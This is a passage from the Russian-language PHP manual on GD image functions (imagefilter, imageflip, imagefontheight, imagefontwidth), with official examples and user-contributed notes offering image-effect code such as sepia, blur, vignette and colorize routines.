return imagefilter($im, IMG_FILTER_NEGATE);
}

for($x = 0; $x < imagesx($im); ++$x)
{
for($y = 0; $y < imagesy($im); ++$y)
{
$index = imagecolorat($im, $x, $y);
$rgb = imagecolorsforindex($index);
$color = imagecolorallocate($im, 255 - $rgb['red'], 255 - $rgb['green'], 255 - $rgb['blue']);

imagesetpixel($im, $x, $y, $color);
}
}

return(true);
}

$im = imagecreatefromjpeg('kalle.jpg');

if($im && negate($im))
{
echo 'Изображение инвертировано успешно.';

imagejpeg($im, 'kalle.jpg', 100);
imagedestroy($im);
}
else
{
echo 'Инвертировать изображение не удалось.';
}
?>

Пример #5 Пример использования imagefilter() с фильтром pixelate

<?php
// загрузка PHP логотипа, нам нужно 2 штуки
// для сравнения
$logo1 = imagecreatefrompng('./php.png');
$logo2 = imagecreatefrompng('./php.png');

// подопытный экземпляр
$output = imagecreatetruecolor(imagesx($logo1) * 2, imagesy($logo1));

// Применение пикселирования к каждому изображению с размером блока в 3 пиксела
imagefilter($logo1, IMG_FILTER_PIXELATE, 3);
imagefilter($logo2, IMG_FILTER_PIXELATE, 3, true);

// Совмещение различий в выходном изображении
imagecopy($output, $logo1, 0, 0, 0, 0, imagesx($logo1) - 1, imagesy($logo1) - 1);
imagecopy($output, $logo2, imagesx($logo2), 0, 0, 0, imagesx($logo2) - 1, imagesy($logo2) - 1);
imagedestroy($logo1);
imagedestroy($logo2);

// Вывод различий
header('Content-Type: image/png');
imagepng($output);
imagedestroy($output);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagefilter() pixelate

Пример #6 Пример использования imagefilter() с фильтром scatter

<?php
// Загрузка изображения
$logo = imagecreatefrompng('./php.png');

// Применение очень мягкого эффекта рассеивания к изображению
imagefilter($logo, IMG_FILTER_SCATTER, 3, 5);

// Вывов изображения с эффектом рассеивания
header('Content-Type: image/png');
imagepng($logo);
imagedestroy($logo);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagefilter() scatter

Примечания

Замечание: Результат IMG_FILTER_SCATTER всегда случайный.

Смотрите также

  • imageconvolution() - Наложение искривляющей матрицы 3х3, используя коэффициент и смещение

User Contributed Notes

shahilahmed4242 at gmail dot com 18-Mar-2016 10:39
PHP Sepia Effect

  $myImage = imagecreatefromjpeg($f);
  imagefilter($myImage,IMG_FILTER_GRAYSCALE);
  imagefilter($myImage,IMG_FILTER_BRIGHTNESS,-30);
  imagefilter($myImage,IMG_FILTER_COLORIZE, 90, 55, 30);
  header("Content-type: image/jpeg");
  imagejpeg($myImage );
  imagejpeg($myImage,$f);
  imagedestroy( $myImage );
martijn at martijnfrazer dot nl 01-Apr-2014 05:03
I needed an especially strong blur effect today and had a hard time achieving adequate results with the built-in IMG_FILTER_GAUSSIAN_BLUR filter. In order to achieve the strength of the blur I required I had to repeat the filter up to  100 times, which took way too long to be acceptable.

After a bit of searching, I found this answer to be quite a good solution to this problem: http://stackoverflow.com/a/20264482

Based on that technique, I wrote the following generic function to achieve a very strong blur in a reasonable amount of processing:

<?php

/**
 * Strong Blur
 *
 * @param resource $gdImageResource
 * @param int $blurFactor optional
 *  This is the strength of the blur
 *  0 = no blur, 3 = default, anything over 5 is extremely blurred
 * @return GD image resource
 * @author Martijn Frazer, idea based on http://stackoverflow.com/a/20264482
 */
function blur($gdImageResource, $blurFactor = 3)
{
  // blurFactor has to be an integer
  $blurFactor = round($blurFactor);

  $originalWidth = imagesx($gdImageResource);
  $originalHeight = imagesy($gdImageResource);

  $smallestWidth = ceil($originalWidth * pow(0.5, $blurFactor));
  $smallestHeight = ceil($originalHeight * pow(0.5, $blurFactor));

  // for the first run, the previous image is the original input
  $prevImage = $gdImageResource;
  $prevWidth = $originalWidth;
  $prevHeight = $originalHeight;

  // scale way down and gradually scale back up, blurring all the way
  for($i = 0; $i < $blurFactor; $i += 1)
  {
    // determine dimensions of next image
    $nextWidth = $smallestWidth * pow(2, $i);
    $nextHeight = $smallestHeight * pow(2, $i);

    // resize previous image to next size
    $nextImage = imagecreatetruecolor($nextWidth, $nextHeight);
    imagecopyresized($nextImage, $prevImage, 0, 0, 0, 0,
      $nextWidth, $nextHeight, $prevWidth, $prevHeight);

    // apply blur filter
    imagefilter($nextImage, IMG_FILTER_GAUSSIAN_BLUR);

    // now the new image becomes the previous image for the next step
    $prevImage = $nextImage;
    $prevWidth = $nextWidth;
      $prevHeight = $nextHeight;
  }

  // scale back to original size and blur one more time
  imagecopyresized($gdImageResource, $nextImage,
    0, 0, 0, 0, $originalWidth, $originalHeight, $nextWidth, $nextHeight);
  imagefilter($gdImageResource, IMG_FILTER_GAUSSIAN_BLUR);

  // clean up
  imagedestroy($prevImage);

  // return result
  return $gdImageResource;
}
?>
Manolo at msalsas dot com 01-Feb-2014 02:25
filtertype is an integer. So if you want to use it as a variable and need to use, e.g. preg_match function you can do it in this way:

<?php
    $filter = IMG_FILTER_BRIGHTNESS;
    if( preg_match( '/^[0-9]{1,2}$/', $filter ) )
    {
        //Do something
    }
?>

The order of the filtertypes in this manual determines the number of each filter, from 0 to 11. E.g. IMG_FILTER_NEGATE=0.
yoann at yoone dot eu 22-Aug-2013 02:04
Here is an alternative to IMG_FILTER_COLORIZE filter, but taking the alpha parameter of each pixel in account.

<?php
function rgba_colorize($img, $color)
{
    imagesavealpha($img, true);
    imagealphablending($img, true);

    $img_x = imagesx($img);
    $img_y = imagesy($img);
    for ($x = 0; $x < $img_x; ++$x)
    {
        for ($y = 0; $y < $img_y; ++$y)
        {
            $rgba = imagecolorsforindex($img, imagecolorat($img, $x, $y));
            $color_alpha = imagecolorallocatealpha($img, $color[0], $color[1], $color[2], $rgba['alpha']);
            imagesetpixel($img, $x, $y, $color_alpha);
            imagecolordeallocate($img, $color_alpha);
        }
    }
}
?>
Padde 08-Dec-2012 07:29
I played with IMG_FILTER_SMOOTH and tried some negative
values.

-1 to -7: looks like a mix of smoothness and edgedetect

-8: image seems to be completely broken

-9 and lower: kind of sharpening effect (-9 sharper than -10)

I think the sharpening effect in particular could be useful.
martijn(97+1) at gmail dot com (solve math) 17-Oct-2012 05:34
Simple pixelate function, just in case you are < 5.3

<?php
function pixelate(&$image, $pixelsize){
    $maxX = imagesx($image);
    $maxY = imagesy($image);
    $rad=floor($pixelsize/2);
    for($x=$rad;$x<$maxX;$x+=$pixelsize)
        for($y=$rad;$y<$maxY;$y+=$pixelsize){
            $color = imagecolorat($image, $x, $y);
            imagefilledrectangle ($image, $x-$rad, $y-$rad, $x+$pixelsize-1, $y+$pixelsize-1,$color);
        }
}
?>
cookie at backbone dot sk 23-Aug-2012 01:11
a function to create nice vignette effect:

<?php

function vignette($im){
    global $width, $height;
    $width = imagesx($im);
    $height = imagesy($im);

    function effect($x, $y, &$rgb){
        global $width, $height;

        $sharp = 0.4; // 0 - 10 small is sharpnes,
        $level = 0.7; // 0 - 1 small is brighter

        $l = sin(M_PI / $width * $x) * sin(M_PI / $height * $y);
        $l = pow($l, $sharp);

        $l = 1 - $level * (1 - $l);

        $rgb['red'] *= $l;
        $rgb['green'] *= $l;
        $rgb['blue'] *= $l;
    }

    for($x = 0; $x < imagesx($im); ++$x){
        for($y = 0; $y < imagesy($im); ++$y){
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($im, $index);
            effect($x, $y, $rgb);
            $color = imagecolorallocate($im, $rgb['red'], $rgb['green'], $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }
    return(true);
}

$im = imagecreatefromjpeg('cars7_134.jpg');

if($im and vignette($im)){
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
}else{
    echo 'Vignette failed.';
}
?>
mail at pedrocandeias dot com 29-Oct-2011 07:20
// With transparent PNG file you can colorize the "positive" items and stand the transparent has it is - Beta code

<?php
header('Content-Type: image/png');

$im = imagecreatefrompng('image.png');
$width = imagesx($im);
$height = imagesy($im);
$imn = imagecreatetruecolor($width, $height);
imagealphablending($imn,false);
$col=imagecolorallocatealpha($imn,255,255,255,127);
imagesavealpha($imn,true);
imagefilledrectangle($imn,0,0,$width,$height,$col);
imagealphablending($imn,true);
imagecopy($imn, $im, 0, 0, 0, 0, $width, $height);
imagefilter($imn, IMG_FILTER_NEGATE);

// FOR A TRANSPARENT PNG FILE WITH SOMETHING INSIDE, YOU CAN CHANGE THE COLOR HERE: I HAVE RGB: 0, 255, 0
imagefilter($imn, IMG_FILTER_COLORIZE, 0, 255, 0);

imagepng($imn);
imagedestroy($imn);

?>
hadrien dot jouet at grownseed dot net 21-Jun-2011 06:58
For people looking to apply a 'multiply' effect on images like the one in Photoshop (generally b&w ones), you can achieve it with the IMG_FILTER_COLORIZE filter.

<?php
function multiplyColor(&$im, $color = array(255, 0, 0))
{
   //get opposite color
   $opposite = array(255 - $color[0], 255 - $color[1], 255 - $color[2]);

   //now we subtract the opposite color from the image
   imagefilter($im, IMG_FILTER_COLORIZE, -$opposite[0], -$opposite[1], -$opposite[2]);
}
?>
bushmakin stas (bushstas at mail dot ru) 17-Mar-2011 12:26
a function to make all colors gray except the only one
i made it myself so the code is note so beautiful )

<?php
function imagecolorfilter($im){

    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $c=($r+$g+$b)/3;

//if($g<$r || $g<$b+20){$r=$c;$g=$c; $b=$c;}//leaves only green
//if($b<$r || $b<$g){$r=$c;$g=$c; $b=$c;}//only blue
if($r<$g+30 || $r<$b){$r=$c;$g=$c; $b=$c;}//only red
//if($r<$g-1 || $r>$g+60 || $b>$g-50){$r=$c;$g=$c; $b=$c;}//only yellow

imagesetpixel($im, $x, $y,imagecolorallocate($im, $r,$g,$b));
        }
    }
}

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("image.jpg");
imagecolorfilter($im);
imagejpeg($im);
?>
jonathan dot gotti at gmail dot com 30-Nov-2010 06:38
IMG_FILTER_COLORIZE doesn't seem to work on palette image, here's a way to achieve same result with palette image:

<?php
//$color is an array containing rvb infos (ie: array(255,80,0))
function paletteColorize($imgResource,array $color){
    $nbColors = imagecolorstotal($imgResource);
    for($i=0; $i<$nbColors; $i++){
        $c = array_values(imagecolorsforindex($imgRes,$i));
        for($y=0;$y<3;$y++)
            $c[$y] = max(0,min(255,$c[$y]+$color[$y]));
        imagecolorset($imgResource,$i,$c[0],$c[1],$c[2]);
    }
}
?>

Here's also a function that work on both truecolor and palette images that try to do something similar to greyscale with a given color
<?php
function colorScale($imgRes,array $color){
        imagefilter($imgRes,IMG_FILTER_GRAYSCALE);
        $color = self::_read_color($color);
        $luminance=($color[0]+$color[1]+$color[2])/3; // average luminance added by the color
        $brightnessCorrection = $luminance/3; // quantity of brightness to correct for each channel
        if( $luminance < 127 ){
            $brightnessCorrection -= 127/3; // color is dark so we have to negate the brightness correction
        }
        if(! imageistruecolor($imgRes) ){
            $nbColors = imagecolorstotal($imgRes);
            for($i=0; $i<$nbColors; $i++){
                $c = array_values(imgagecolorsforindex($imgRes,$i));
                for($y=0;$y<3;$y++){
                    $c[$y] = max(0, min(255, $c[$y] + ($color[$y]-$luminance) + $brightnessCorrection) ); // parentheses just for better comprehension
                }
                imagecolorset($omgRes,$i,$c[0],$c[1],$c[2]);
            }
        }else{ // much easier with truecolor
            imagefilter($imgRes, IMG_FILTER_COLORIZE, $color[0]-$luminance, $color[1]-$luminance, $color[2]-$luminance);
            imagefilter($imgRes, IMG_FILTER_BRIGHTNESS, $brightnessCorrection);
        }
}
?>

with hope that someone will find this useful
mail at kavisiegel dot com 25-Jun-2009 11:11
Searching for a way to easily change the color of the image, I tried IMG_FILTER_COLORIZE. I was unable to get the quality results I wanted. It turns out PHP's Colorize is the equivalent of Photoshop's "Linear Dodge" layer filter.

Hue adjustments have always worked well for me, so I figured I could try with PHP.
This function is kind of slow on larger images, but on small images like what I'm using it for, the difference is trivial.

The script calculates the ratio or red, to green, to blue in the color provided, then scales the image appropriately... unfortunately, it does it pixel by pixel.

Here's a demo and comparison of this function, to photoshop's hue function, to PHP's colorize. http://img146.imageshack.us/img146/3167/imagefilterhuedemo.png

<?php
function imagefilterhue($im,$r,$g,$b){
    $rgb = $r+$g+$b;
    $col = array($r/$rgb,$b/$rgb,$g/$rgb);
    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $newR = $r*$col[0] + $g*$col[1] + $b*$col[2];
            $newG = $r*$col[2] + $g*$col[0] + $b*$col[1];
            $newB = $r*$col[1] + $g*$col[2] + $b*$col[0];
            imagesetpixel($im, $x, $y,imagecolorallocate($im, $newR, $newG, $newB));
        }
    }
}
header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("test.jpg");

// Usage: Just as imagefilter(), except with no filtertype.
// imagefilterhue(resource $image, int $red, int $green , int $blue)
imagefilterhue($im,2,70,188);

// The equivalent with colorize, as tested in demo image: imagefilter($im, IMG_FILTER_COLORIZE, 2, 70, 188);

imagejpeg($im);
?>
aiden dot mail at freemail dot hu 29-Mar-2008 12:16
Function to change the transparency of a png image on the fly. Works only with PNG, and with a browser supporting alpha channel.
The function stretches the opacity-range of the image, so that the most opaque pixel(s) will be set to the given opacity. (Other opacity values in pixels are modified accordingly.)
Returns success or failure.

<?php
function filter_opacity( &$img, $opacity ) //params: image resource id, opacity in percentage (eg. 80)
        {
            if( !isset( $opacity ) )
                { return false; }
            $opacity /= 100;

            //get image width and height
            $w = imagesx( $img );
            $h = imagesy( $img );

            //turn alpha blending off
            imagealphablending( $img, false );

            //find the most opaque pixel in the image (the one with the smallest alpha value)
            $minalpha = 127;
            for( $x = 0; $x < $w; $x++ )
                for( $y = 0; $y < $h; $y++ )
                    {
                        $alpha = ( imagecolorat( $img, $x, $y ) >> 24 ) & 0xFF;
                        if( $alpha < $minalpha )
                            { $minalpha = $alpha; }
                    }

            //loop through image pixels and modify alpha for each
            for( $x = 0; $x < $w; $x++ )
                {
                    for( $y = 0; $y < $h; $y++ )
                        {
                            //get current alpha value (represents the TANSPARENCY!)
                            $colorxy = imagecolorat( $img, $x, $y );
                            $alpha = ( $colorxy >> 24 ) & 0xFF;
                            //calculate new alpha
                            if( $minalpha !== 127 )
                                { $alpha = 127 + 127 * $opacity * ( $alpha - 127 ) / ( 127 - $minalpha ); }
                            else
                                { $alpha += 127 * $opacity; }
                            //get the color index with new alpha
                            $alphacolorxy = imagecolorallocatealpha( $img, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
                            //set pixel with the new color + opacity
                            if( !imagesetpixel( $img, $x, $y, $alphacolorxy ) )
                                { return false; }
                        }
                }
            return true;
        }
?>

Example for use:

 <?php
  $image = imagecreatefrompng( "img.png" );
  filter_opacity( $image, 75 );
  header( "content-type: image/png" );
  imagepng( $image );
  imagedestroy( $image );
?>
michaeln no at spam associationsplus ca 21-Nov-2007 08:11
Note: applying IMG_FILTER_EMBOSS to text and using in a customization to the CAPTCHA image script in phpBB or a project of your own is a very good way to stop OCR-ing bots from getting through. Embossed serif fonts are fairly easy for the human eye to understand but to an OCR script it is extremely difficult because it seems to give it the illusion of 3D.

If you only allocate 2 or 3 colours in the image, it uses the background colour alot in the embossed text, which greatly contributes to this.

I made my own custom CAPTCHA script to stop phpBB post spam for a client site I was developing and I have gone from getting 2-3 new spam users created every day to zero.

Anything with the source code freely available out there right now is possible to be defeated by spammers once one of them stars sharing code with the other spammers, but if you run something at least someone custom, their bots will pass you over.
ssttoo at gmail dot com 13-Nov-2007 12:31
Here's a page that shows the different filters in action
http://www.phpied.com/image-fun-with-php-part-2/
Also shows some quick ways to do sepia.
webmaster at designsbykosi dot info 08-May-2007 12:56
This will only work if you have php5. For php4, you'll have to use the sepia function set webmaster at qudi dot de suggested.
fananf at nerdshack dot com 16-Mar-2007 09:26
If you're looking for fast sepia effect that can be used for on-the-fly thumbnails generation you can't use sophisticated functions. The faster and much better way than described by webmaster at qudi dot de in the note from 31-Jan-2006 is applying colorize filter AFTER grayscale.

<?php

(...)

imagefilter($yourimage, IMG_FILTER_GRAYSCALE); imagefilter($yourimage, IMG_FILTER_COLORIZE, 90, 60, 40);

(...)

?>

I used (90,60,40) for my sepia after couple of tests, however, if you need darker or lighter just check what suits you best.
trucex email over at gmail 14-Feb-2007 12:31
It appears that imagefilter doesn't play nice with apha. If you run an imagefilter on a transparent image it'll return a black image...similar to a lot of Photoshop plugins do.
PanuWorld 14-Jan-2007 06:55
The documentation misses the exact meaning and valid ranges of the arguments for ImageFilter(). According to the 5.2.0 sources the arguments are:
IMG_FILTER_BRIGHTNESS
-255 = min brightness, 0 = no change, +255 = max brightness

IMG_FILTER_CONTRAST
-100 = max contrast, 0 = no change, +100 = min contrast (note the direction!)

IMG_FILTER_COLORIZE
Adds (subtracts) specified RGB values to each pixel. The valid range for each color is -255...+255, not 0...255. The correct order is red, green, blue.
-255 = min, 0 = no change, +255 = max
This has not much to do with IMG_FILTER_GRAYSCALE.

IMG_FILTER_SMOOTH
Applies a 9-cell convolution matrix where center pixel has the weight arg1 and others weight of 1.0. The result is normalized by dividing the sum with arg1 + 8.0 (sum of the matrix).
any float is accepted, large value (in practice: 2048 or more) = no change

ImageFilter seem to return false if the argument(s) are out of range for the chosen filter.
nancy at hypertextdigital dot com 03-Aug-2006 02:16
This routine was just what I was looking for, I wanted web admin users to be able to recolour their uploaded photos (to go with a news item) either a blue tint or sepia to match the appearance of other colours used on the website.

Using a form with a select box containing the RGB values, I can give them the option of either of the two tints or no colourization at all, plus resize their images to the viewing size and a thumbnail image on the fly without having to use any other image editing software.
santibari at fibertel dot com 27-Feb-2006 11:37
A colorize algorithm wich preserves color luminosity (i.e black
will output black, and white will output white).
This works in PHP4 and is great for customizing interfaces
dinamically.

<?php
function colorize($img_src,$img_dest, $r, $g, $b)
{
if(!$im = imagecreatefromgif($img_src))
  return "Could not use image $img_src";

//We will create a monochromatic palette based on
//the input color
//which will go from black to white
//Input color luminosity: this is equivalent to the
//position of the input color in the monochromatic
//palette
$lum_inp=round(255*($r+$g+$b)/765); //765=255*3

//We fill the palette entry with the input color at its
//corresponding position

$pal[$lum_inp]['r']=$r;
$pal[$lum_inp]['g']=$g;
$pal[$lum_inp]['b']=$b;

//Now we complete the palette, first we'll do it to
//the black,and then to the white.

//FROM input to black
//===================
//how many colors between black and input
$steps_to_black=$lum_inp;

//The step size for each component
if($steps_to_black)
 {
 $step_size_red=$r/$steps_to_black;
 $step_size_green=$g/$steps_to_black;
 $step_size_blue=$b/$steps_to_black;
 }

for($i=$steps_to_black;$i>=0;$i--)
 {
 $pal[$steps_to_black-$i]['r']=$r-round($step_size_red*$i);
 $pal[$steps_to_black-$i]['g']=$g-round($step_size_green*$i);
 $pal[$steps_to_black-$i]['b']=$b-round($step_size_blue*$i);
 }

//From input to white:
//===================
//how many colors between input and white
$steps_to_white=255-$lum_inp;

if($steps_to_white)
  {
  $step_size_red=(255-$r)/$steps_to_white;
  $step_size_green=(255-$g)/$steps_to_white;
  $step_size_blue=(255-$b)/$steps_to_white;
  }
 else
  $step_size_red=$step_size_green=$step_size_blue=0;

 //The step size for each component
 for($i=($lum_inp+1);$i<=255;$i++)
  {
  $pal[$i]['r']=$r + round($step_size_red*($i-$lum_inp));
  $pal[$i]['g']=$g + round($step_size_green*($i-$lum_inp));
  $pal[$i]['b']=$b + round($step_size_blue*($i-$lum_inp));
  }
//--- End of palette creation

//Now,let's change the original palette into the one we
//created
for($c = 0; $c < $palette_size; $c++)
 {
 $col = imagecolorsforindex($im, $c);
 $lum_src=round(255*($col['red']+$col['green']
                +$col['blue'])/765);
 $col_out=$pal[$lum_src];
 imagecolorset($im, $c, $col_out['r'],
                                $col_out['g'],
                                $col_out['b']);
 }

 //save the image file
 imagepng($im,$img_dest);
 imagedestroy($im);
}//end function colorize
?>
webmaster at qudi dot de 31-Jan-2006 06:53
for a quick, ok-looking, sepia-effect (also in php4) I just use this little fellow, since a real implementation of sepia was just way too slow.

function pseudosepia(&$im,$percent){
      $sx=imagesx($im);
      $sy=imagesy($im);
      $filter=imagecreatetruecolor($sx,$sy);
      $c=imagecolorallocate($filter,100,50,50);
      imagefilledrectangle($filter,0,0,$sx,$sy,$c);
      imagecopymerge($im,$filter,0,0,0,0,$sx,$sy,$percent);
}
a php user at nowhere dot com 20-Dec-2005 12:48
http://www.hudzilla.org/phpbook/read.php/11_2_15
for more detailed info, and some <i>arg</i> guidelines.
vdepizzol at hotmail dot com 04-Sep-2004 01:36
Examples using imagefilter():

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
    echo 'Image converted to grayscale.';
    imagepng($im, 'dave.png');
} else {
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
    echo 'Image brightness changed.';
    imagepng($im, 'sean.png');
} else {
    echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
    echo 'Image successfully shaded green.';
    imagepng($im, 'philip.png');
} else {
    echo 'Green shading failed.';
}

imagedestroy($im);
?>
kees at tweakers dot net 20-Jul-2004 06:26
From what i have been able to find from this function, it accepts the following arguments:
        IMG_FILTER_NEGATE
        IMG_FILTER_GRAYSCALE
        IMG_FILTER_EDGEDETECT
        IMG_FILTER_GAUSSIAN_BLUR
        IMG_FILTER_SELECTIVE_BLUR
        IMG_FILTER_EMBOSS
        IMG_FILTER_MEAN_REMOVAL

The following arguments need one or more arguments.
        IMG_FILTER_SMOOTH, -1924.124
        IMG_FILTER_COLORIZE, -127.12, -127.98, 127
        IMG_FILTER_CONTRAST, -90
        IMG_FILTER_BRIGHTNESS, 98

I haven't tested them all, the names speak for themselves.


Переворачивает изображение, используя выбранный режим

  • « imagefilter
  • imagefontheight »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Переворачивает изображение, используя выбранный режим

imageflip

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageflip — Переворачивает изображение, используя выбранный режим

Описание

imageflip(GdImage $image, int $mode): bool

Переворачивает изображение image, используя выбранный режим mode.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

mode

Режим переворота - одна из констант IMG_FLIP_*:

Константа | Описание
IMG_FLIP_HORIZONTAL | Переворачивает изображение по горизонтали.
IMG_FLIP_VERTICAL | Переворачивает изображение по вертикали.
IMG_FLIP_BOTH | Переворачивает изображение и по горизонтали и по вертикали.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Переворачивает изображение по вертикали

В этом примере используется константа IMG_FLIP_VERTICAL.

<?php
// Файл
$filename = 'phplogo.png';

// Тип данных
header('Content-type: image/png');

// Загрузка
$im = imagecreatefrompng($filename);

// Переворачиваем по вертикали
imageflip($im, IMG_FLIP_VERTICAL);

// Вывод
imagejpeg($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Результат примера: Перевёрнутое по вертикали изображение

Пример #2 Переворачивает изображение по горизонтали

В этом примере используется константа IMG_FLIP_HORIZONTAL.

<?php
// Файл
$filename = 'phplogo.png';

// Тип данных
header('Content-type: image/png');

// Загрузка
$im = imagecreatefrompng($filename);

// Переворачиваем по горизонтали
imageflip($im, IMG_FLIP_HORIZONTAL);

// Вывод
imagejpeg($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Результат примера: Перевёрнутое по горизонтали изображение

User Contributed Notes

Daniel Klein 04-Feb-2016 01:26
If you're using PHP < 5.5 you can use this code to add the same functionality. If you pass the wrong $mode in it will silently fail. You might want to add your own error handling for this case.

<?php
if (!function_exists('imageflip')) {
  define('IMG_FLIP_HORIZONTAL', 0);
  define('IMG_FLIP_VERTICAL', 1);
  define('IMG_FLIP_BOTH', 2);

  function imageflip($image, $mode) {
    switch ($mode) {
      case IMG_FLIP_HORIZONTAL: {
        $max_x = imagesx($image) - 1;
        $half_x = $max_x / 2;
        $sy = imagesy($image);
        $temp_image = imageistruecolor($image)? imagecreatetruecolor(1, $sy): imagecreate(1, $sy);
        for ($x = 0; $x < $half_x; ++$x) {
          imagecopy($temp_image, $image, 0, 0, $x, 0, 1, $sy);
          imagecopy($image, $image, $x, 0, $max_x - $x, 0, 1, $sy);
          imagecopy($image, $temp_image, $max_x - $x, 0, 0, 0, 1, $sy);
        }
        break;
      }
      case IMG_FLIP_VERTICAL: {
        $sx = imagesx($image);
        $max_y = imagesy($image) - 1;
        $half_y = $max_y / 2;
        $temp_image = imageistruecolor($image)? imagecreatetruecolor($sx, 1): imagecreate($sx, 1);
        for ($y = 0; $y < $half_y; ++$y) {
          imagecopy($temp_image, $image, 0, 0, 0, $y, $sx, 1);
          imagecopy($image, $image, 0, $y, 0, $max_y - $y, $sx, 1);
          imagecopy($image, $temp_image, 0, $max_y - $y, 0, 0, $sx, 1);
        }
        break;
      }
      case IMG_FLIP_BOTH: {
        $sx = imagesx($image);
        $sy = imagesy($image);
        $temp_image = imagerotate($image, 180, 0);
        imagecopy($image, $temp_image, 0, 0, 0, 0, $sx, $sy);
        break;
      }
      default: {
        return;
      }
    }
    imagedestroy($temp_image);
  }
}
?>


Получение высоты шрифта

  • « imageflip
  • imagefontwidth »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение высоты шрифта

imagefontheight

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefontheight — Получение высоты шрифта

Описание

imagefontheight(GdFont|int $font): int

Возвращает высоту в пикселах символа заданного шрифта.

Список параметров

font

Может принимать значения 1, 2, 3, 4, 5 для встроенных шрифтов в кодировке latin2 (более высокое число соответствует большему шрифту) или экземпляр GdFont, возвращаемый функцией imageloadfont()..

Возвращаемые значения

Возвращает высоту в пикселах.

Список изменений

Версия | Описание
8.1.0 | Параметр font теперь принимает как экземпляр GdFont, так и целое число (int); ранее принималось только целое число (int).

Примеры

Пример #1 Пример использования imagefontheight() на встроенных шрифтах

<?php
echo 'Font height: ' . imagefontheight(4);
?>

Результатом выполнения данного примера будет что-то подобное:

Font height: 16

Пример #2 Использование imagefontheight() вместе с imageloadfont()

<?php
// загрузка .gdf шрифта
$font = imageloadfont('anonymous.gdf');

echo 'Высота шрифта: ' . imagefontheight($font);
?>

Результатом выполнения данного примера будет что-то подобное:

Font height: 43

Смотрите также

  • imagefontwidth() - Получение ширины шрифта
  • imageloadfont() - Загрузка шрифта

User Contributed Notes

dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


Получение ширины шрифта

  • « imagefontheight
  • imageftbbox »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение ширины шрифта

imagefontwidth

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefontwidth — Получение ширины шрифта

Описание

imagefontwidth(GdFont|int $font): int

Возвращает ширину символа шрифта.

Список параметров

font

Может принимать значения 1, 2, 3, 4, 5 для встроенных шрифтов в кодировке latin2 (более высокое число соответствует большему шрифту) или экземпляр GdFont, возвращаемый функцией imageloadfont()..

Возвращаемые значения

Возвращает ширину в пикселах

Список изменений

Версия | Описание
8.1.0 | Параметр font теперь принимает как экземпляр GdFont, так и целое число (int); ранее принималось только целое число (int).

Примеры

Пример #1 Использование imagefontwidth() на встроенных шрифтах

<?php
echo 'Ширина шрифта: ' . imagefontwidth(4);
?>

Результатом выполнения данного примера будет что-то подобное:

Font width: 8

